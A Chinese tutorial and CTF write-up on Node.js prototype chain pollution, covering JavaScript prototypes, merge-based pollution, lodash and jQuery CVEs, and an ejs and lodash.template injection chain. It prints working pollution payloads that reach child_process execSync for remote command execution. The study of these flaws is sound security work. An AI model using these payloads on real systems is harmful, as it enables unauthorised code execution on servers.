当前位置: 首页 > news >正文

浅谈 Nodejs原型链污染

一直在做php的题目,对其它语言做的很少。刚好在西湖论剑2022复现时,遇到了一道原型链污染的题目,借此机会开始简单学习一下 Nodejs的洞

p🐂讲解的十分清楚,因此下面举例子就直接用p🐂的例子进行解释了

目录

<1> Node.js基础

(1) 类与构造函数(constructor)

(2) 同步和异步

(3) fs模块

(4) child_process模块

<2> 什么是原型链

(1) prototype

(2) __proto__

(3) 原型链的继承思想

<3> 原型链污染

(1) 简单介绍

 (2) merge操作导致原型链污染

 (3) ejs污染

(4) lodash污染

(5) JQuery污染

Code-Breaking 2018 Thejs

Xnuca2019 Hardjs


<1> Node.js基础

简单的说 Node.js 就是运行在服务端的 JavaScript。
Node.js 是一个基于Chrome JavaScript 运行时建立的一个平台。
Node.js是一个事件驱动I/O服务端JavaScript环境,基于Google的V8引擎,V8引擎执行Javascript的速度非常快,性能非常好。

这里就只介绍一下后续CTF题会涉及到的一些 node.js的基础

node.js 允许用户从NPM服务器下载别人编写的第三方包到本地使用

这就像python 一样pip下载包以后,通过import引入,而node.js是通过require引入的

(1) 类与构造函数(constructor)

JavaScript中,我们如果要定义一个类,需要以定义“构造函数”的方式来定义: 

 一个类必然有一些方法,类似属性this.bar,我们也可以将方法定义在构造函数内部: 

function Foo() {this.bar = 1this.show = function() {console.log(this.bar)}
}(new Foo()).show()

如上段代码:Foo函数的内容,就是Foo类的构造函数,而this.bar就是Foo类的一个属性。 

 这段代码功能就是 定义一个Foo类,调用Foo类的show方法,会输出它的 bar 属性

但这样写有一个问题,就是每当我们新建一个Foo对象时,this.show = function...就会执行一次,这个show方法实际上是绑定在对象上的,而不是绑定在“类”中。

我希望在创建类的时候只创建一次show方法,这时候就则需要使用原型(prototype)了

后面会提到

(2) 同步和异步

Node.js 文件系统(fs 模块)模块中的方法均有异步和同步版本,例如读取文件内容的函数有异步的 fs.readFile() 和同步的 fs.readFileSync()。
异步的方法函数最后一个参数为回调函数,回调函数的第一个参数包含了错误信息(error)。

解释一下同步和异步,就像我们常说的一心二用一样,异步就是我们的一心二用,一边吃饭,一边看电视,而同步就是,吃完饭再看电视。
简单的说就是:
当你先读取文件输出后输出一段话的时候
同步:先输出文件内容,再输出一段话
异步:先输出一段话,后输出文件内容

(3) fs模块

node.js的文件操作模块,我们本地建立一个sd.txt

它的同步函数:readFileSync,异步函数:readFile

var fs = require("fs");// 异步读取
fs.readFile('sd.txt', function (err, data) {if (err) {return console.error(err);}console.log("异步读取: " + data.toString());
});// 同步读取
var data = fs.readFileSync('sd.txt');
console.log("同步读取: " + data.toString());console.log("程序执行完毕。");

同步读取: abcdefg
程序执行完毕。
异步读取: abcdefg

(4) child_process模块

child_process提供了几种创建子进程的方式

异步方式:spawn、exec、execFile、fork
同步方式:spawnSync、execSync、execFileSync
经过上面的同步和异步思想的理解,创建子进程的同步异步方式应该不难理解。
在异步创建进程时,spawn是基础,其他的fork、exec、execFile都是基于spawn来生成的。
同步创建进程可以使用child_process.spawnSync()、child_process.execSync() 和 child_process.execFileSync() ,同步的方法会阻塞 Node.js 事件循环、暂停任何其他代码的执行,直到子进程退出。

其中的一些函数,在一些情况下,可以导致命令执行漏洞,后面写题时候会用到

其中,JavaScript的继承关系并非像Java一样,有父类子类之分,而是通过一条原型链来进行继承的

<2> 什么是原型链

(1) prototype

在JavaScript中,prototype对象是实现面向对象的一个重要机制。

它是函数所独有的,它是从一个函数指向一个对象

它的含义是函数的原型对象,也就是构造函数(constructor)所创建的实例的原型对象

个人觉得,它就相当于是类的一个实例的模板, 原型的对象。生成的对象都会参照这个原型对象

生成实例化对象时,如果自己没有的属性prototype有,就会继承此属性,有的话则不会覆盖。

例如看下面这段js代码:

function Foo() {this.bar = 1
}Foo.prototype.show = function show() {console.log(this.bar)
}let foo = new Foo()
foo.show()

可一看到,我们可以通过prototype属性,指向到这个函数的原型对象中然后创建一个show()函数,功能为输出 this.bar

我们可以认为原型 prototype是类Foo的一个属性,而所有用Foo类实例化的对象,都将拥有这个属性中的所有内容,

包括变量和方法。比如上图中的foo对象,其天生就具有foo.show()方法。

(2) __proto__

 如上面所说,我们可以通过Foo.prototype来访问Foo类的原型,但Foo实例化出来的对象,是不能通过prototype访问原型的。

这时候,就该__proto__登场了

不同于prototype是函数特有的,它是对象所独有的proto属性都是由一个对象指向一个对象

即指向它们的原型对象(也可以理解为父对象)

一个Foo类实例化出来的foo对象,可以通过foo.__proto__属性来访问Foo类的原型,也就是说:

foo.__proto__ === Foo.prototype (True)

即:

prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法。

一个对象的__proto__属性,指向这个对象所在的类的prototype属性

(3) 原型链的继承思想

function Father() {this.first_name = 'Donald'this.last_name = 'Trump'
}function Son() {this.first_name = 'Melania'
}Son.prototype = new Father()let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)
console.log(son.__proto__)
console.log(son.__proto__.__proto__)
console.log(son.__proto__.__proto__.__proto__)

 Son类继承了Father类的last_name属性,最后输出的是Name: Melania Trump

 总结一下,对于对象son,在console.log() 调用son.last_name的时候,实际上JavaScript引擎会进行如下操作:

  1. 在对象son中寻找last_name
  2. 如果找不到,则在son.__proto__中寻找last_name
  3. 如果仍然找不到,则继续在son.__proto__.__proto__中寻找last_name
  4. 依次寻找,直到找到null结束。比如,Object.prototype__proto__就是null

类似于Java里面继承的思想,如果子类没有这个属性, 往上继承父类. 有的话就自己用自己的 多态

 JavaScript的这个查找的机制,被运用在面向对象的继承中,被称作prototype继承链

  1. 每个构造函数(constructor)都有一个原型对象(prototype)
  2. 对象的__proto__属性,指向类的原型对象prototype
  3. JavaScript使用prototype链实现继承机制

<3> 原型链污染

(1) 简单介绍

  • 在javascript,每一个实例对象都有一个__proto__属性,这个实例属性指向对象的原型对象(即原型)。可以通过以下方式访问得到某一实例对象的原型对象:
objectname["__proto__"]
objectname.__proto__
objectname.constructor.prototype
  • 不同对象所生成的原型链如下(部分):
var o = {a: 1};
// o对象直接继承了Object.prototype
// 原型链:
// o ---> Object.prototype ---> nullvar a = ["aa", "lisi", "?"];
// 数组都继承于 Array.prototype
// 原型链:
// a ---> Array.prototype ---> Object.prototype ---> nullfunction f(){return 2;
}
// 函数都继承于 Function.prototype
// 原型链:
// f ---> Function.prototype ---> Object.prototype ---> null

 先来看一个简单的示例:

// foo是一个简单的JavaScript对象
let foo = {bar: 1}// foo.bar 此时为1
console.log(foo.bar)// 修改foo的原型(即Object)foo.__proto__.bar = 2// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)console.log(foo.__proto__)// 此时再用Object创建一个空的zoo对象
let zoo = {}// 查看zoo.bar
console.log(zoo.bar)

首先建立一个foo对象,有一个bar属性为1. 此时它的原型对象 并没有,后面通过 foo.__proto__指向了它的原型对象,也就等价于是 foo.prototype,即object。给 object 原型对象增加了bar属性,值为二 。 现在 object 有了(一个bar=2的prototype原型对象)。

后面我们再次 let zoo = {} ,zoo对象是空的

但是在我们输出zoo.bar的时候,node.js的引擎就开始在zoo中查找,发现没有,去zoo.proto中查找,即在Object中查找,而,我们的foo.prototype.bar = 2,就是给Object添加了一个bar属性,而这个属性则被zoo继承。


这种修改了一个某个对象的原型对象,从而控制别的对象的操作,就是原型链污染

 (2) merge操作导致原型链污染

我们思考一下,哪些情况下我们可以设置__proto__的值呢?其实找找能够控制数组(对象)的“键名”的操作即可:

  • 对象merge
  • 对象clone(其实内核就是将待操作的对象merge到一个空对象中)

merge操作是最常见可能控制键名的操作,也最能被原型链攻击 

以对象merge为例,我们想象一个简单的merge函数:

function merge(target, source) {for (let key in source) {if (key in source && key in target) {merge(target[key], source[key])} else {target[key] = source[key]}}
}

在合并的过程中,存在赋值的操作target[key] = source[key],那么,这个key如果是__proto__(json格式才可以被当成key),是不是就可以原型链污染呢?

let object1 = {}
let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(object1, object2)
console.log(object1.a, object1.b)object3 = {}
console.log(object3.b)
// 1 2
// 2

需要注意的点是:

在JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历object2的时候会存在这个键。

 

 (3) ejs污染

参考:Express+lodash+ejs: 从原型链污染到RCE - evi0s' Blog

if (!this.source) {this.generateSource();prepended += '  var __output = [], __append = __output.push.bind(__output);' + '\n';if (opts.outputFunctionName) {prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';}if (opts._with !== false) {prepended +=  '  with (' + opts.localsName + ' || {}) {' + '\n';appended += '  }' + '\n';}appended += '  return __output.join("");' + '\n';this.source = prepended + this.source + appended;
}

 这里有一个代码注入的漏洞

可以看到, opts 对象 outputFunctionName 成员在 express 配置的时候并没有给他赋值,默认也是未定义,即 undefined,这样在 574 行时,if 判否,跳过

但是在我们有原型链污染的前提之下,我们可以控制基类的成员。这样我们给 Object 类创建一个成员 outputFunctionName,这样可以进入 if 语句,并将我们控制的成员 outputFunctionName 赋值为一串恶意代码,从而造成代码注入。在后面模版渲染的时候,注入的代码被执行,也就是这里存在一个代码注入的 RCE

至于恶意代码构造就非常简单了。在不考虑后果的情况下,我们可以直接构造如下代码:

a; return global.process.mainModule.constructor._load('child_process').execSync('whoami'); //

放到代码里面看就是 

prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
// After injection
prepended += ' var a; return global.process.mainModule.constructor._load("child_process").execSync("whoami"); // 后面的代码都被注释了'

这样看这样我们构造的payload就会被拼接进js语句中,并在ejs渲染时进行RCE

(4) lodash污染

CVE-2019-10744

lodash.defaultsDeep(obj,JSON.parse(objstr));

只需要有objstr

{"content":{"prototype":{"constructor":{"a":"b"}}}}

在合并时便会在Object上附加a=b这样一个属性

lodash 是一个非常流行的JavaScript工具库

const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"a0": true}}}'function check() {mergeFn({}, JSON.parse(payload));if (({})[`a0`] === true) {console.log(`Vulnerable to Prototype Pollution via ${payload}`);}}check();

运行上面的js语句,就可以检查这个版本的lodash是否存在这个漏洞。

其中漏洞关键触发点在defaultsDeep函数,它将({}, JSON.parse(payload))merge时,就可能导致原型链污染。使用JSON.parse就是保证合并时能以字典解析,而不是字符串

(5) JQuery污染

JQuery 是一个非常流行的Js前端工具库,而它也存在原型链污染漏洞,CVE:CVE-2019-11358 版本小于3.4.0时

可以看到

$.extend(true,{},JSON.parse('{"__proto__":{"aa":"hello"}}'))

Jquery可以用$.extend将两个字典merge,而这也因此污染了原型链。

Code-Breaking 2018 Thejs

源码:https://www.leavesongs.com/media/attachment/2018/11/23/thejs.tar.gz

URL: code-breaking/2018/thejs at master · phith0n/code-breaking · GitHub

 看一下主要的代码:server.js

const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({name: 'thejs.session',secret: randomize('aA0', 16),resave: false,saveUninitialized: false
}))app.engine('ejs', function (filePath, options, callback) { // define the template enginefs.readFile(filePath, (err, content) => {if (err) return callback(new Error(err))let compiled = lodash.template(content)let rendered = compiled({...options})return callback(null, rendered)})
})
app.set('views', './views')
app.set('view engine', 'ejs')app.all('/', (req, res) => {// 定义sessionlet data = req.session.data || {language: [], category: []}if (req.method == 'POST') {// 获取post数据并合并data = lodash.merge(data, req.body)req.session.data = data// 再将data赋值给session}res.render('index', {language: data.language, category: data.category})
})app.listen(3000, () => console.log('Example app listening on port 3000!'))

lodash是为了弥补JavaScript原生函数功能不足而提供的一个辅助功能集,其中包含字符串、数组、对象等操作。这个Web应用中,使用了lodash提供的两个工具:

  1. lodash.template 一个简单的模板引擎
  2. lodash.merge 函数或对象的合并

其实整个应用逻辑很简单,用户提交的信息,用merge方法合并到session里,多次提交,session里最终保存你提交的所有信息。

而这里的lodash.merge操作实际上就存在原型链污染漏洞。

在污染原型链后,我们相当于可以给Object对象插入任意属性,这个插入的属性反应在最后的lodash.template中。页面最终会通过lodash.template进行渲染,跟踪到lodash/template.js:

// Use a sourceURL for easier debugging.
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
// ...
var result = attempt(function() {return Function(importsKeys, sourceURL + 'return ' + source).apply(undefined, importsValues);
});

options是一个对象,sourceURL取到了其options.sourceURL属性。这个属性原本是没有赋值的,默认取空字符串。

因为原型链污染,我们可以给所有Object对象中都插入一个sourceURL属性。那这个sourceURL是否可以被我们利用呢? 继续跟进

var result = attempt(function() {return Function(importsKeys, sourceURL + 'return ' + source).apply(undefined, importsValues);});

最后,这个sourceURL被拼接进 Function函数 的第二个参数中,造成任意代码执行漏洞

 通过构造global.process.mainModule.constructor._load('child_process').exec('ls')// 就可以执行任意代码了

注:这里不能用require  因为:ReferenceError: require is not defined

p神给了一个更好的payload:

{"__proto__":{"sourceURL":"\nreturn e=> {for (var a in {}) {delete Object.prototype[a];} return global.process.mainModule.constructor._load('child_process').execSync('id')}\n//"}}

p🐂对payload里for循环的解释:

原型链污染攻击有个弊端,就是你一旦污染了原型链,除非整个程序重启,否则所有的对象都会被污染与影响。
这将导致一些正常的业务出现bug,或者就像这道题里一样,我的payload发出去,response里就有命令的执行结果了。这时候其他用户访问这个页面的时候就能看到这个结果,所以在CTF中就会泄露自己好不容易拿到的flag,所以需要一个for循环把Object对象里污染的原型删掉

Xnuca2019 Hardjs

Javascript 原型链污染 分析 | JrXnm' blog

相关文章:

Node.js 常见漏洞学习与总结 - 先知社区

深入理解 JavaScript Prototype 污染攻击 | 离别歌

相关文章:

浅谈 Nodejs原型链污染

一直在做php的题目&#xff0c;对其它语言做的很少。刚好在西湖论剑2022复现时&#xff0c;遇到了一道原型链污染的题目&#xff0c;借此机会开始简单学习一下 Nodejs的洞 p&#x1f402;讲解的十分清楚&#xff0c;因此下面举例子就直接用p&#x1f402;的例子进行解释了 目…...

Linux系统安装Docker

目录 Linux系统安装Docker 1、如果之前安装过旧版本的Docker&#xff0c;可以使用下面命令卸载 2、安装docker 3、启动docker 4、配置镜像加速 Linux系统安装Docker 前提&#xff1a;Docker CE 支持 64 位版本 CentOS 7&#xff0c;并且要求内核版本不低于 3.10&#xff0…...

MCP2515国产替代DP2515带有SPI 接口的独立CAN 控制器

DP2515是一款独立控制器局域网络&#xff08;Controller AreaNetwork&#xff0c; CAN&#xff09;协议控制器&#xff0c;完全支持CAN V2.0B 技术规范。该器件能发送和接收标准和扩展数据帧以及远程帧。DP2515自带的两个验收屏蔽寄存器和六个验收滤波寄存器可以过滤掉不想要的…...

【Kubernetes】第二十篇 - k8s 污点和容忍度

一&#xff0c;前言 上一篇&#xff0c;介绍了 k8s ConfigMap 管理服务环境变量&#xff1b; 本篇&#xff0c;介绍 k8s 污点和容忍度&#xff1b; 二&#xff0c;污点与容忍度介绍 通过污点和容忍度配置可以干预 Pod 部署到特定的节点&#xff1b; 比如&#xff1a; 不想让…...

60% 程序员大呼:我要远程办公!

近几年数字化的普及&#xff0c;白领们从挤地铁、打卡、开会、写日报转变成“早上9点视频会议”&#xff0c;企业的办公场所也从写字楼、会议室、工位变成了手机、电脑中的线上会议室&#xff0c;远程办公已经成为一种流行的办公形式。《财富》杂志发现&#xff0c;75%的员工表…...

jmeter+ant+jenkins接口自动化测试框架

大致思路&#xff1a;Jmeter可以做接口测试&#xff0c;也能做压力测试&#xff0c;而且是开源软件&#xff1b;Ant是基与java的构建工具&#xff0c;完成脚本执行并收集结果生成报告&#xff0c;可以跨平台&#xff0c;Jenkins是持续集成工具。将这三者结合起来可以搭建一套We…...

【protoc自定义插件】「go语言」实现rpc的服务映射成http的服务,protoc生成gin的插件,(详解实现原理及过程)

文章目录前言一、工程实践中如何更好的使用proto文件&#xff1f;二、protoc命令如何查询依赖的proto文件以及执行原理1. protoc命令如何查询依赖的proto文件2. protoc执行的插件加载原理是什么&#xff1f;3. proto文件中的package和go_package的作用三、protoc插件开发原理体…...

【C语言】3天速刷C语言(语句、函数)

语句分支语句if语句if语句语法结构语法结构&#xff1a; if(表达式)语句; if(表达式)语句1; else语句2; //多分支 if(表达式1)语句1; else if(表达式2)语句2; else语句3;表达式如果成立&#xff0c;则执行&#xff0c;不成立则弹出。switch语句语法结构&#xff1a;switch(…...

Linux系统中指针的详细分析与操作

文章目录 一、指针 二、指针的初始化 三、指针的运算 四、指针与数组 五、指针与字符串 六、函数指针 七、NULL 指针 八、对复杂指针的解释 C 语言指针真正精髓的地方在于指针可以进行加减法&#xff0c;这一点极大的提升了程序的对指针使用的灵活性&#xff0c;同时也…...

工程(十一)——NUC11+D435i+VINS-FUSION+ESDF建图(github代码)

博主的合并代码gitgithub.com:huashu996/VINS-FUSION-ESDFmap.git一、D435i深度相机配置1.1 SDKROS参考我之前的博客&#xff0c;步骤和所遇见的问题已经写的很详细了https://blog.csdn.net/HUASHUDEYANJING/article/details/129323834?spm1001.2014.3001.55011.2 相机标定参数…...

第十四届蓝桥杯三月真题刷题训练——第 4 天

目录 题目 1 &#xff1a;九数算式_dfs回溯(全排列) 题目描述 运行限制 代码&#xff1a; 题目2&#xff1a;完全平方数 问题描述 输入格式 输出格式 样例输入 1 样例输出 1 样例输入 2 样例输出 2 评测用例规模与约定 运行限制 代码&#xff1a; 题目 1 &am…...

Hadoop 运行环境搭建(开发重点)

文章目录Hadoop 运行环境搭建&#xff08;开发重点&#xff09;一、安装JDK二、安装配置 Hadoop1、安装 hadoop2、hadoop 目录结构3、设置免密登录4、完全分布式模式&#xff08;开发重点&#xff09;1&#xff09;分发jdk2&#xff09;集群配置(1) 集群部署规划(2) 配置文件说…...

在社交媒体上行之有效的个人IP趋势

如果您认为无论是获得一份工作、建立一家企业还是推动个人职业发展&#xff0c;社交媒体都是帮助您实现目标的可靠工具&#xff0c;那么个人IP就是推动这一工具前进的燃料。个人IP反映了您是谁&#xff0c;您在所处领域的专业程度&#xff0c;以及您与他人的区别。社交媒体将有…...

Java网络编程

网络编程 什么是网络编程&#xff1f; 可以让设备中的程序与网络上其他设备中的程序进行数据交互&#xff08;实现网络通信&#xff09; Java.net. 包下提供了网络编程的解决方案* 基本的通信架构 基本的通信架构有两种方式&#xff1a;CS架构&#xff08;Client客户端/Se…...

PTA:L1-001 Hello World、L1-002 打印沙漏、L1-003 个位数统计(C++)

目录 L1-001 Hello World 问题描述&#xff1a; 实现代码&#xff1a; L1-002 打印沙漏 问题描述&#xff1a; 实现代码&#xff1a; 原理思路&#xff1a; L1-003 个位数统计 题目描述&#xff1a; 实现代码&#xff1a; 原理思路&#xff1a; 过于简单的就不再写题…...

构造HTTP请求

使用formform使用如下:<body><!-- 表单标签,允许用户和服务器之间交互数据 --><form action"https://www.sogou.com" method"get"><!-- 要求提交的数据以键值对的结构来组织 --><input type"text" name"stduent…...

转速/线速度/角速度计算FC

工业应用中很多设备控制离不开转速、线速度的计算,这篇博客给大家汇总整理。张力控制的开环闭环方法中也离不开转速和线速度的计算,详细内容请参看下面的文章链接: PLC张力控制(开环闭环算法分析)_plc的收卷张力控制系统_RXXW_Dor的博客-CSDN博客里工业控制张力控制无处不…...

学习笔记:Java并发编程(补)ThreadLocal

【尚硅谷】学习视频&#xff1a;https://www.bilibili.com/video/BV1ar4y1x727【黑马程序员】学习视频&#xff1a;https://www.bilibili.com/video/BV15b4y117RJ 参考书籍 《实战 JAVA 高并发程序设计》 葛一鸣 著《深入理解 JAVA 虚拟机 | JVM 高级特性与最佳实践》 周志明 著…...

HashMap底层实现原理及面试题

文章目录1. 常见的数据结构有三种结构1.1 各自数据结构的特点2. HashMap2.1 概述2.2 底层结构2.2.1 HashMa实现原理&#xff1a;2.2.1.1 map.put(k,v)实现原理2.2.1.2 map.get(k)实现原理2.2.1.3 resize源码2.2.2 HashMap常用的变量2.2.3 HashMap构造函数2.3 JDK1.8之前存在的问…...

【STM32】进阶(二):DMA+ADC实现模拟量检测

1、简述 DMA&#xff1a;Direct Memory Access&#xff0c;直接内存访问 ADC&#xff1a;Analog to Digital Converter&#xff0c;模数转换器&#xff0c;模拟信号转换成数字信号的电路&#xff08;采样-量化-编码&#xff09; 参考博客&#xff1a; STM32DMA功能详解 STM32…...

Lab2_Simple Shell_2020

Lab2: 实验目的&#xff1a;给xv6添加新的系统调用 并理解系统调用是如何工作的&#xff0c;并理解xv6内核的一些内部特征 实验准备&#xff1a; 阅读xv6的第2章以及第4章的4.3,4.3小节熟悉下面的源码 用户态相关的代码&#xff1a;user/user.h和user/usys.pl内核态相关的代…...

2023最全电商API接口 高并发请求 实时数据 支持定制 电商数据 买家卖家数据

电商日常运营很容易理解&#xff0c;就是店铺商品维护&#xff0c;上下架&#xff0c;评价维护&#xff0c;库存数量&#xff0c;协助美工完成制作详情页。店铺DSR&#xff0c;好评率&#xff0c;提升客服服务等等&#xff0c;这些基础而且每天都必须做循环做的工作。借助电商A…...

MySQL 的索引类型

1. 按照功能划分 按照功能来划分&#xff0c;索引主要有四种&#xff1a; 普通索引唯一性索引主键索引全文索引 普通索引就是最最基础的索引&#xff0c;这种索引没有任何的约束作用&#xff0c;它存在的主要意义就是提高查询效率。 普通索引创建方式如下&#xff1a; CREATE…...

< Linux > 进程信号

目录 1、信号入门 生活角度的信号 技术应用角度的信号 前台进程 && 后台进程 信号概念 用kill -l命令察看系统定义的信号列表 信号处理的方式 2、信号产生前 用户层产生信号的方式 3、产生信号 3.1、通过终端按键产生信号 3.2、核心转储core dump 3.3、调用系统函数…...

Pyspark基础入门7_RDD的内核调度

Pyspark 注&#xff1a;大家觉得博客好的话&#xff0c;别忘了点赞收藏呀&#xff0c;本人每周都会更新关于人工智能和大数据相关的内容&#xff0c;内容多为原创&#xff0c;Python Java Scala SQL 代码&#xff0c;CV NLP 推荐系统等&#xff0c;Spark Flink Kafka Hbase Hi…...

C/C++每日一练(20230307)

目录 1. 国名排序 ★★ 2. 重复的DNA序列 ★★★ 3. 买卖股票的最佳时机 III ★★★ &#x1f31f; 每日一练刷题专栏 C/C 每日一练 ​专栏 Python 每日一练 ​专栏 1. 国名排序 小李在准备明天的广交会&#xff0c;明天有来自世界各国的客房跟他们谈生意&#xff0c…...

一条SQL查询语句是如何执行的?

平时我们使用数据库&#xff0c;看到的通常都是一个整体。比如&#xff0c;你有个最简单的表&#xff0c;表里只有一个ID字段&#xff0c;在执行下面这个查询语句时&#xff1a; mysql> select * from T where ID10&#xff1b; 我们看到的只是输入一条语句&#xff0c;返…...

tcsh常用配置

查看当前的shell类型 在 Linux 的世界中&#xff0c;有着许多 shell 程序。常见的有&#xff1a; Bourne shell (sh) C shell (csh) TC shell (tcsh) Korn shell (ksh) Bourne Again shell (bash) 其中&#xff0c;最常用的就是bash和tcsh&#xff0c;本次文章介绍tcsh的…...

YOLOv5源码逐行超详细注释与解读(2)——推理部分detect.py

前言 前面简单介绍了YOLOv5的项目目录结构&#xff08;直通车&#xff1a;YOLOv5源码逐行超详细注释与解读&#xff08;1&#xff09;——项目目录结构解析&#xff09;&#xff0c;对项目整体有了大致了解。 今天要学习的是detect.py。通常这个文件是用来预测一张图片或者一…...

什么叫个非对称加密?中间人攻击?数字签名?

非对称加密也称为公钥密码。就是用公钥来进行加密&#xff0c;撒子意思&#xff1f; 非对称加密 在对称加密中&#xff0c;我们只需要一个密钥&#xff0c;通信双方同时持有。而非对称加密需要4个密钥&#xff0c;来完成完整的双方通信。通信双方各自准备一对公钥和私钥。其中…...

网站网站建设网页设计/最新的新闻 最新消息

多态 注意事项 多态是方法的多态 父类和子类&#xff0c;有联系 类型转换异常&#xff01; 存在条件 继承关系方法需要重写&#xff0c;两个类型都有的方法执行子类的方法 父类的引用指向的是子类对象 static方法不能重写&#xff0c;它属于类 final不能重写 private不…...

网站上传/企业营销策划书模板

一、先百度搜索 node 找 Download | Node.js 二、下载 Node 根据你自己的操作系统下载   三、安装 node &#xff08;注意&#xff1a;如果安装失败&#xff0c;使用管理员身份打开安装&#xff09; 四、安装成功之后 使用 WIN R  输入 node 测试 五、安装 cnpm 替换 npm  …...

网站建设皖icp/产品推广策划方案怎么做

1. 通过 浏览器的控件使用$_FILE 和服务器后端进行交互上传 True: { "name": "HD.Club-4K-Chimei-inn-20mbps.mp4", "type": "video\/mp4", "tmp_name": "D:\\mySoft\\wamp64\\tmp\\phpDD30.tmp", …...

网站建设新报价图片欣赏/中国腾讯和联通

大意&#xff1a; 面值为1分&#xff0c;2分&#xff0c;3分的硬币各有a,b,c枚&#xff0c;求不能用这些硬币表示的最小值。 分析&#xff1a;硬币能够表示的最大值max1*a2*b5*c,计算1,2,3...max,max1的系数是否为0&#xff0c;若0则不能表示。 代码&#xff1a;#include <i…...

免费做四年级题的网站/百度地图导航2022最新版

环境变量操作命令1、修改环境变量2、新建环境变量3、删除环境变量1、修改环境变量 环境变量的操作涉及到两个命令&#xff1a; setenv 和 saveenv 命令描述setenv用于设置或者修改环境变量的值saveenv用于保存修改后的环境变量 一般环境变量是存放在外部 flash 中的,uboot 启…...

网站编程用什么语言好/杭州seo按天计费

Python知识(6)--numpy做矩阵运算 矩阵运算 论numpy中matrix 和 array的区别&#xff1a;http://blog.csdn.net/vincentlipan/article/details/20717163 matrix 和 array的差别&#xff1a; Numpy matrices必须是2维的,但是 numpy arrays (ndarrays) 可以是多维的&#xff08;1D…...